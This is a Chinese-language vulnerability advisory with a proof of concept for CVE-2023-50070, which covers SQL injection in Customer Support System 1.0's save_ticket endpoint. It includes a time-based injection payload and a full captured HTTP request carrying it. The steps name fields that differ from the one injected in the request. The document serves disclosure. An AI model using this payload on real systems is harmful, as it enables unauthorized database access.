CVE-2023-50070

Customer Support System 1.0 - 多处 SQL 注入漏洞 - save_ticket

描述：Customer Support System 1.0 中 /customer_support/ajax.php?action=save_ticket 存在多处 SQL 注入漏洞，允许已认证的攻击者通过 department_id、customer_id 和 subject 参数执行任意 SQL 命令。

受影响产品版本：Customer Support System 1.0
CVE 作者：Geraldo Alcântara
日期：2023 年 11 月 29 日
CVE：CVE-2023-50070
CVE 链接：https://www.cve.org/CVERecord?id=CVE-2023-50070
NVD 链接：https://nvd.nist.gov/vuln/detail/CVE-2023-50070
确认日期：2023 年 12 月 15 日
测试环境：Windows

复现步骤：

1- 登录应用程序。
2- 导航至页面 /customer_support/index.php?page=new_ticket。
3- 创建新工单，并在以下参数之一中插入恶意载荷：department_id、customer_id 或 subject。
载荷：'+(select*from(select(sleep(20)))a)+'

POST /customer_support/ajax.php?action=save_ticket HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835
Content-Length: 854
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_ticket
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l

-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="id"

'+(select*from(select(sleep(20)))a)+'
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="subject"

teste
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="customer_id"

3
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="department_id"

4
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="description"

<p>Blahs<br></p>
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

-----------------------------81419250823331111993422505835--

发现者/鸣谢：
Geraldo Alcântara